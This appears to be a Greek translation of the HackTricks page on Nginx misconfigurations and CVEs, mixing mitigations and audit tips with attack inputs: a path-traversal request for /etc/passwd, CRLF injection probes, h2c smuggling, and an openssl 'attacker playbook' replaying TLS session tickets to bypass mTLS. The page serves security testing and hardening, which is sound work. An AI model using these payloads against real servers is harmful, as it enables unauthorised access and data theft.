Nginx

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Missing root location

Κατά τη διαμόρφωση του διακομιστή Nginx, η root directive παίζει κρίσιμο ρόλο, ορίζοντας τον βασικό κατάλογο από τον οποίο εξυπηρετούνται τα αρχεία. Δείτε το παράδειγμα παρακάτω:

server {
root /etc/nginx;

location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}

Σε αυτή τη διαμόρφωση, /etc/nginx ορίζεται ως ο root κατάλογος. Αυτή η ρύθμιση επιτρέπει πρόσβαση σε αρχεία εντός του καθορισμένου root, όπως το /hello.txt. Ωστόσο, είναι σημαντικό να σημειωθεί ότι έχει οριστεί μόνο μια συγκεκριμένη location (/hello.txt). Δεν υπάρχει διαμόρφωση για την root location (location / {...}). Αυτή η παράλειψη σημαίνει ότι η οδηγία root εφαρμόζεται σε όλο το σύστημα, επιτρέποντας αιτήματα προς τη ρίζα / να έχουν πρόσβαση σε αρχεία κάτω από /etc/nginx.

Μια κρίσιμη ανησυχία ασφαλείας προκύπτει από αυτή τη διαμόρφωση. Ένα απλό GET request, όπως GET /nginx.conf, θα μπορούσε να αποκαλύψει ευαίσθητες πληροφορίες εξυπηρετώντας το αρχείο διαμόρφωσης Nginx που βρίσκεται στο /etc/nginx/nginx.conf. Ο ορισμός του root σε έναν λιγότερο ευαίσθητο κατάλογο, όπως /etc, μπορεί να μειώσει αυτόν τον κίνδυνο, ωστόσο εξακολουθεί να μπορεί να επιτρέψει ανεπιθύμητη πρόσβαση σε άλλα κρίσιμα αρχεία, συμπεριλαμβανομένων άλλων αρχείων διαμόρφωσης, access logs και ακόμη και κωδικοποιημένων credentials που χρησιμοποιούνται για HTTP basic authentication.

Alias LFI Misconfiguration

Στα αρχεία διαμόρφωσης του Nginx, απαιτείται προσεκτικός έλεγχος των “location” directives. Μια ευπάθεια γνωστή ως Local File Inclusion (LFI) μπορεί να εισαχθεί αθέλητα μέσω μιας διαμόρφωσης που μοιάζει με την ακόλουθη:

location /imgs {
alias /path/images/;
}

Αυτή η διαμόρφωση είναι επιρρεπής σε LFI επιθέσεις επειδή ο server ερμηνεύει αιτήματα όπως /imgs../flag.txt ως προσπάθεια πρόσβασης σε αρχεία εκτός του προοριζόμενου καταλόγου, ουσιαστικά επιλύοντας σε /path/images/../flag.txt. Αυτή η αδυναμία επιτρέπει σε επιτιθέμενους να ανακτήσουν αρχεία από το filesystem του server που δεν θα έπρεπε να είναι προσβάσιμα μέσω του web.

Για να μετριαστεί αυτή η ευπάθεια, η διαμόρφωση θα πρέπει να προσαρμοστεί ως εξής:

location /imgs/ {
alias /path/images/;
}

Περισσότερες πληροφορίες: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

Δοκιμές Accunetix:

alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403

Μη ασφαλής περιορισμός διαδρομής

Δείτε την παρακάτω σελίδα για να μάθετε πώς να παρακάμψετε οδηγίες όπως:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Proxy / WAF Protections Bypass

Μη ασφαλής χρήση μεταβλητών / HTTP Request Splitting

Caution

Ευάλωτες μεταβλητές $uri και $document_uri — αυτό μπορεί να διορθωθεί αντικαθιστώντας τις με $request_uri.

Ένα regex μπορεί επίσης να είναι ευάλωτο όπως:

location ~ /docs/([^/])? { … $1 … } - Ευάλωτο

location ~ /docs/([^/\s])? { … $1 … } - Μη ευάλωτο (έλεγχος κενών)

location ~ /docs/(.*)? { … $1 … } - Μη ευάλωτο

Μια ευπάθεια στη ρύθμιση του Nginx επιδεικνύεται στο παρακάτω παράδειγμα:

location / {
return 302 https://example.com$uri;
}

Οι χαρακτήρες \r (Carriage Return) και \n (Line Feed) σηματοδοτούν χαρακτήρες νέας γραμμής στα HTTP αιτήματα, και οι URL-encoded μορφές τους αναπαρίστανται ως %0d%0a. Η συμπερίληψη αυτών των χαρακτήρων σε ένα αίτημα (π.χ., http://localhost/%0d%0aDetectify:%20clrf) προς έναν λανθασμένα ρυθμισμένο server έχει ως αποτέλεσμα ο server να εκδίδει ένα νέο header με όνομα Detectify. Αυτό συμβαίνει επειδή η μεταβλητή $uri αποκωδικοποιεί τους URL-encoded χαρακτήρες νέας γραμμής, οδηγώντας σε ένα απρόσμενο header στην απάντηση:

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf

Μάθετε περισσότερα για τους κινδύνους του CRLF injection και response splitting στο https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/.

Επιπλέον αυτή η τεχνική είναι explained in this talk με μερικά ευάλωτα παραδείγματα και μηχανισμούς ανίχνευσης. Για παράδειγμα, για να εντοπίσετε αυτή τη λανθασμένη διαμόρφωση από blackbox προοπτική μπορείτε να κάνετε αυτές τις αιτήσεις:

  • https://example.com/%20X - Any HTTP code
  • https://example.com/%20H - 400 Bad Request

Αν είναι ευάλωτο, το πρώτο θα επιστρέψει καθώς “X” είναι οποιαδήποτε HTTP μέθοδος και το δεύτερο θα επιστρέψει σφάλμα καθώς H δεν είναι έγκυρη μέθοδος. Έτσι ο server θα λάβει κάτι σαν: GET / H HTTP/1.1 και αυτό θα προκαλέσει το σφάλμα.

Άλλα παραδείγματα ανίχνευσης θα ήταν:

  • http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x - Any HTTP code
  • http://company.tld/%20HTTP/1.1%0D%0AHost:%20x - 400 Bad Request

Κάποιες ευάλωτες διαμορφώσεις που παρουσιάστηκαν σε εκείνη την ομιλία ήταν:

  • Σημειώστε πώς $uri ορίζεται όπως είναι στο τελικό URL
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
  • Σημειώστε πώς και πάλι $uri βρίσκεται στο URL (αυτή τη φορά μέσα σε παράμετρο)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
  • Τώρα στο AWS S3
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}

Οποιαδήποτε μεταβλητή

Ανακαλύφθηκε ότι τα δεδομένα που παρέχονται από τον χρήστη μπορεί να αντιμετωπίζονται ως μεταβλητή του Nginx υπό ορισμένες συνθήκες. Η αιτία αυτής της συμπεριφοράς παραμένει σε κάποιο βαθμό ασαφής, αλλά δεν είναι σπάνιο ούτε εύκολο να επιβεβαιωθεί. Αυτή η ανωμαλία επισημάνθηκε σε αναφορά ασφαλείας στο HackerOne, την οποία μπορείτε να δείτε εδώ. Περαιτέρω έρευνα στο μήνυμα σφάλματος οδήγησε στον εντοπισμό της εμφάνισης του εντός του module φίλτρου SSI στον κώδικα του Nginx, επισημαίνοντας τα Server Side Includes (SSI) ως την βασική αιτία.

Για να εντοπίσετε αυτή τη λανθασμένη ρύθμιση, μπορείτε να εκτελέσετε την ακόλουθη εντολή, η οποία ορίζει την κεφαλίδα Referer για να ελέγξει την εκτύπωση μεταβλητών:

$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’

Οι σαρώσεις για αυτή τη λανθασμένη ρύθμιση σε διάφορα συστήματα αποκάλυψαν πολλαπλές περιπτώσεις όπου μεταβλητές του Nginx μπορούσαν να εμφανιστούν από έναν χρήστη. Ωστόσο, η μείωση του αριθμού των ευάλωτων περιπτώσεων υποδηλώνει ότι οι προσπάθειες επιδιόρθωσης αυτού του ζητήματος είχαν εν μέρει επιτυχία.

Χρήση του try_files με μεταβλητές $URI$ARGS

Η ακόλουθη λανθασμένη ρύθμιση του Nginx μπορεί να οδηγήσει σε ευπάθεια LFI:

location / {
try_files $uri$args $uri$args/ /index.html;
}

Στη διαμόρφωσή μας υπάρχει η οδηγία try_files που χρησιμοποιείται για τον έλεγχο της ύπαρξης αρχείων σε καθορισμένη σειρά. Το Nginx θα εξυπηρετήσει το πρώτο που θα βρει. Η βασική σύνταξη της οδηγίας try_files έχει ως εξής:

try_files file1 file2 ... fileN fallback;

Nginx θα ελέγξει για την ύπαρξη κάθε αρχείου με τη συγκεκριμένη σειρά. Αν ένα αρχείο υπάρχει, θα εξυπηρετηθεί αμέσως. Αν κανένα από τα καθορισμένα αρχεία δεν υπάρχει, το αίτημα θα προωθηθεί στην εναλλακτική επιλογή (fallback), η οποία μπορεί να είναι άλλο URI ή μια συγκεκριμένη σελίδα σφάλματος.

Ωστόσο, όταν χρησιμοποιούνται οι μεταβλητές $uri$args σε αυτή την οδηγία, ο Nginx θα προσπαθήσει να αναζητήσει ένα αρχείο που ταιριάζει με το request URI σε συνδυασμό με οποιεσδήποτε παραμέτρους του query string. Επομένως μπορούμε να εκμεταλλευτούμε αυτή τη διαμόρφωση:

http {
server {
root /var/www/html/public;

location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}

Με το ακόλουθο payload:

GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com

Χρησιμοποιώντας το payload μας θα διαφύγουμε από τον ριζικό κατάλογο (που ορίζεται στη διαμόρφωση του Nginx) και θα φορτώσουμε το αρχείο /etc/passwd. Στα debug logs μπορούμε να παρατηρήσουμε πώς ο Nginx δοκιμάζει τα αρχεία:

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK

PoC εναντίον του Nginx χρησιμοποιώντας τη διαμόρφωση που αναφέρθηκε παραπάνω: Example burp request

Ανάγνωση ακατέργαστης απάντησης από το backend

Το Nginx προσφέρει μια λειτουργία μέσω του proxy_pass που επιτρέπει την παρεμβολή σε errors και HTTP headers που παράγονται από το backend, με σκοπό να αποκρύψει εσωτερικά μηνύματα σφάλματος και κεφαλίδες. Αυτό επιτυγχάνεται με το Nginx να εξυπηρετεί προσαρμοσμένες σελίδες σφάλματος ως απάντηση σε σφάλματα του backend. Ωστόσο, προκύπτουν προβλήματα όταν το Nginx αντιμετωπίζει ένα μη έγκυρο HTTP αίτημα. Ένα τέτοιο αίτημα προωθείται στο backend όπως ελήφθη, και η ακατέργαστη απάντηση του backend στη συνέχεια αποστέλλεται απευθείας στον client χωρίς παρέμβαση του Nginx.

Σκεφτείτε ένα παράδειγμα σεναρίου που περιλαμβάνει μια εφαρμογή uWSGI:

def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]

Για να το διαχειριστείτε αυτό, χρησιμοποιούνται συγκεκριμένες οδηγίες στη διαμόρφωση του Nginx:

http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
  • proxy_intercept_errors: Αυτή η οδηγία επιτρέπει στο Nginx να σερβίρει μια προσαρμοσμένη απάντηση για απαντήσεις backend με κωδικό κατάστασης μεγαλύτερο από 300. Εξασφαλίζει ότι, για το παράδειγμα μας με την εφαρμογή uWSGI, μια 500 Error απάντηση παρεμβάλλεται και χειρίζεται από το Nginx.
  • proxy_hide_header: Όπως υποδηλώνει το όνομα, αυτή η οδηγία αποκρύπτει συγκεκριμένες HTTP κεφαλίδες από τον client, ενισχύοντας την ιδιωτικότητα και την ασφάλεια.

Όταν γίνεται ένα έγκυρο GET αίτημα, το Nginx το επεξεργάζεται κανονικά, επιστρέφοντας μια τυπική απάντηση σφάλματος χωρίς να αποκαλύπτει οποιεσδήποτε μυστικές κεφαλίδες. Ωστόσο, ένα μη έγκυρο HTTP αίτημα παρακάμπτει αυτόν τον μηχανισμό, με αποτέλεσμα την αποκάλυψη ακατέργαστων απαντήσεων από το backend, συμπεριλαμβανομένων μυστικών κεφαλίδων και μηνυμάτων σφάλματος.

merge_slashes set to off

By default, Nginx’s merge_slashes directive is set to on, which compresses multiple forward slashes in a URL into a single slash. Αυτή η λειτουργία, ενώ απλοποιεί την επεξεργασία URL, μπορεί ακούσια να κρύψει ευπάθειες στις εφαρμογές πίσω από το Nginx, ιδιαίτερα αυτές που είναι επιρρεπείς σε local file inclusion (LFI) επιθέσεις. Οι ειδικοί ασφάλειας Danny Robinson and Rotem Bar έχουν επισημάνει τους πιθανούς κινδύνους που σχετίζονται με αυτή τη προεπιλεγμένη συμπεριφορά, ειδικά όταν το Nginx λειτουργεί ως reverse-proxy.

Για να μετριαστούν τέτοιοι κίνδυνοι, συνίσταται να γυρίσετε την οδηγία merge_slashes σε off για εφαρμογές που είναι επιρρεπείς σε αυτές τις ευπάθειες. Αυτό εξασφαλίζει ότι το Nginx προωθεί τα αιτήματα στην εφαρμογή χωρίς να αλλάζει τη δομή του URL, έτσι ώστε να μην καλύπτονται τυχόν υποκείμενα προβλήματα ασφάλειας.

For more information check Danny Robinson and Rotem Bar.

Maclicious Response Headers

As shown in this writeup, υπάρχουν ορισμένες κεφαλίδες που, αν είναι παρούσες στην απάντηση από τον web server, θα αλλάξουν τη συμπεριφορά του Nginx proxy. Μπορείτε να τις ελέγξετε in the docs:

  • X-Accel-Redirect: Δηλώνει στο Nginx να ανακατευθύνει εσωτερικά ένα αίτημα σε μια καθορισμένη τοποθεσία.
  • X-Accel-Buffering: Ελέγχει αν το Nginx πρέπει να κάνει buffering της απάντησης ή όχι.
  • X-Accel-Charset: Ορίζει το σύνολο χαρακτήρων για την απάντηση όταν χρησιμοποιείται το X-Accel-Redirect.
  • X-Accel-Expires: Ορίζει τον χρόνο λήξης για την απάντηση όταν χρησιμοποιείται το X-Accel-Redirect.
  • X-Accel-Limit-Rate: Περιορίζει το ρυθμό μεταφοράς για απαντήσεις όταν χρησιμοποιείται το X-Accel-Redirect.

Για παράδειγμα, η κεφαλίδα X-Accel-Redirect θα προκαλέσει μια εσωτερική ανακατεύθυνση στο nginx. Έτσι, αν υπάρχει μια ρύθμιση nginx με κάτι όπως root / και μια απάντηση από τον web server με X-Accel-Redirect: .env, το nginx θα στείλει το περιεχόμενο του /.env (Path Traversal).

Default Value in Map Directive

In the Nginx configuration, the map directive often plays a role in authorization control. Ένα συνηθισμένο λάθος είναι να μην ορίζεται μια default τιμή, κάτι που μπορεί να οδηγήσει σε μη εξουσιοδοτημένη πρόσβαση. For instance:

http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}

server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}

Χωρίς το default, ένας κακόβουλος χρήστης μπορεί να παρακάμψει την ασφάλεια αποκτώντας πρόσβαση σε ένα μη ορισμένο URI μέσα στο /map-poc. The Nginx manual συμβουλεύει να ορίσετε μια προεπιλεγμένη τιμή για να αποφύγετε τέτοια προβλήματα.

DNS Spoofing Vulnerability

Το DNS spoofing εναντίον του Nginx είναι εφικτό υπό ορισμένες προϋποθέσεις. Εάν ένας επιτιθέμενος γνωρίζει τον DNS server που χρησιμοποιεί το Nginx και μπορεί να υποκλέψει τα DNS queries του, μπορεί να spoof DNS records. Αυτή η μέθοδος, ωστόσο, είναι αναποτελεσματική εάν το Nginx είναι ρυθμισμένο να χρησιμοποιεί localhost (127.0.0.1) για την επίλυση DNS. Το Nginx επιτρέπει τον καθορισμό ενός DNS server ως εξής:

resolver 8.8.8.8;

proxy_pass and internal Directives

Η proxy_pass οδηγία χρησιμοποιείται για την ανακατεύθυνση αιτημάτων προς άλλους servers, είτε εσωτερικά είτε εξωτερικά. Η internal οδηγία διασφαλίζει ότι ορισμένες τοποθεσίες είναι προσβάσιμες μόνο εντός του Nginx. Αν και αυτές οι οδηγίες δεν είναι ευπάθειες από μόνες τους, η διαμόρφωσή τους απαιτεί προσεκτική εξέταση για να αποτραπούν κενά ασφάλειας.

proxy_set_header Upgrade & Connection

Εάν ο nginx server είναι ρυθμισμένος να προωθεί τα headers Upgrade και Connection, μπορεί να εκτελεστεί μια h2c Smuggling attack για να αποκτηθεί πρόσβαση σε προστατευμένα/εσωτερικά endpoints.

Caution

Αυτή η ευπάθεια θα επέτρεπε σε έναν επιτιθέμενο να εγκαθιδρύσει μια άμεση σύνδεση με το proxy_pass endpoint (http://backend:9999 σε αυτή την περίπτωση) του οποίου το περιεχόμενο δεν θα ελέγχεται από τον nginx.

Example of vulnerable configuration to steal /flag from here:

server {
listen       443 ssl;
server_name  localhost;

ssl_certificate       /usr/local/nginx/conf/cert.pem;
ssl_certificate_key   /usr/local/nginx/conf/privkey.pem;

location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}

location /flag {
deny all;
}

Warning

Σημειώστε ότι ακόμη και αν το proxy_pass ήταν προσανατολισμένο σε ένα συγκεκριμένο path όπως http://backend:9999/socket.io, η σύνδεση θα πραγματοποιηθεί με http://backend:9999 οπότε μπορείτε να contact any other path inside that internal endpoint. So it doesn’t matter if a path is specified in the URL of proxy_pass.

HTTP/3 QUIC module remote DoS & leak (2024)

Κατά τη διάρκεια του 2024 η Nginx αποκάλυψε τα CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 και CVE-2024-35200, δείχνοντας ότι μια single hostile QUIC session μπορεί να προκαλέσει crash worker processes ή leak memory όποτε το πειραματικό ngx_http_v3_module είναι compiled in και ένα listen ... quic socket είναι exposed. Επηρεαζόμενες builds είναι οι 1.25.0–1.25.5 και 1.26.0, ενώ οι 1.27.0/1.26.1 περιλαμβάνουν τα fixes; η memory disclosure (CVE-2024-34161) επιπλέον απαιτεί MTUs larger than 4096 bytes για να εμφανιστούν sensitive data (λεπτομέρειες στο 2024 nginx advisory που αναφέρεται παρακάτω).

Συμβουλές Recon & exploitation

  • Το HTTP/3 είναι opt-in, οπότε σκανάρετε για Alt-Svc: h3=":443" απαντήσεις ή δοκιμάστε brute-force UDP/443 QUIC handshakes; μόλις επιβεβαιωθεί, fuzz το handshake και τα STREAM frames με custom quiche-client/nghttp3 payloads για να ενεργοποιήσετε worker crashes και να αναγκάσετε log leakage.
  • Γρήγορη αποτύπωση (fingerprint) της υποστήριξης του target με:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/

Παράκαμψη επανέναρξης συνεδρίας TLS στην επικύρωση πιστοποιητικού πελάτη (CVE-2025-23419)

Μια ανακοίνωση τον Φεβρουάριο του 2025 αποκάλυψε ότι το nginx 1.11.4–1.27.3 χτισμένο με OpenSSL επιτρέπει reusing a TLS 1.3 session από ένα name-based virtual host μέσα σε άλλο, έτσι ένας client που διαπραγματεύτηκε έναν host χωρίς πιστοποιητικό μπορεί να replay το ticket/PSK για να εισέλθει σε ένα vhost προστατευμένο με ssl_verify_client on; και να παρακάμψει εντελώς το mTLS. Το bug ενεργοποιείται όποτε πολλαπλοί virtual hosts μοιράζονται την ίδια TLS 1.3 session cache και tickets (βλ. την 2025 nginx advisory που αναφέρεται παρακάτω).

Playbook επιτιθέμενου

# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem

# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof

Εάν ο στόχος είναι ευάλωτος, το δεύτερο handshake ολοκληρώνεται χωρίς να παρουσιαστεί client certificate, αποκαλύπτοντας προστατευμένες τοποθεσίες.

What to audit

  • Μεικτά server_name blocks που μοιράζονται ssl_session_cache shared:SSL plus ssl_session_tickets on;.
  • Admin/API blocks που αναμένουν mTLS αλλά κληρονομούν shared session cache/ticket ρυθμίσεις από public hosts.
  • Automation που ενεργοποιεί TLS 1.3 session resumption παγκοσμίως (π.χ., Ansible roles) χωρίς να λαμβάνει υπόψη την vhost isolation.

HTTP/2 Rapid Reset resilience (CVE-2023-44487 behavior)

The HTTP/2 Rapid Reset attack (CVE-2023-44487) εξακολουθεί να επηρεάζει nginx όταν οι χειριστές αυξάνουν τα keepalive_requests ή http2_max_concurrent_streams πέρα από τις προεπιλογές: ένας επιτιθέμενος ανοίγει μία HTTP/2 σύνδεση, την κατακλύζει με χιλιάδες streams, και στη συνέχεια εκδίδει αμέσως RST_STREAM frames ώστε το concurrency ceiling να μην επιτευχθεί ενώ η CPU συνεχίζει να ξοδεύει χρόνο στη λογική τερματισμού. Οι προεπιλογές του nginx (128 concurrent streams, 1000 keepalive requests) κρατούν την εμβέλεια επιπτώσεων μικρή· η αύξηση αυτών των ορίων “σημαντικά υψηλότερα” καθιστά πολύ εύκολο να εξαντληθούν οι workers ακόμα και από έναν μόνο client (βλ. το write-up της F5 που αναφέρεται παρακάτω).

Συμβουλές ανίχνευσης

# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/

Οι hosts που αποκαλύπτουν ασυνήθιστα υψηλές τιμές για αυτές τις οδηγίες είναι πρωτεύοντες στόχοι: ένας HTTP/2 client μπορεί να επαναλαμβάνει τη δημιουργία stream και να στέλνει άμεσα RST_STREAM frames για να κρατά την CPU σε υψηλό φόρτο χωρίς να ενεργοποιεί το όριο ταυτόχρονης εκτέλεσης.

Δοκίμασέ το μόνος σου

Η Detectify έχει δημιουργήσει ένα αποθετήριο στο GitHub όπου μπορείτε να χρησιμοποιήσετε Docker για να στήσετε τον δικό σας ευάλωτο Nginx test server με μερικές από τις λανθασμένες ρυθμίσεις που συζητήθηκαν σε αυτό το άρθρο και να δοκιμάσετε να τις εντοπίσετε μόνοι σας!

https://github.com/detectify/vulnerable-nginx

Εργαλεία στατικής ανάλυσης

GIXY

Το Gixy είναι ένα εργαλείο για την ανάλυση της διαμόρφωσης του Nginx. Ο κύριος στόχος του Gixy είναι να αποτρέπει επισφαλείς ρυθμίσεις ασφαλείας και να αυτοματοποιεί τον εντοπισμό σφαλμάτων.

Nginxpwner

Το Nginxpwner είναι ένα απλό εργαλείο για την αναζήτηση κοινών λανθασμένων ρυθμίσεων του Nginx και ευπαθειών.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks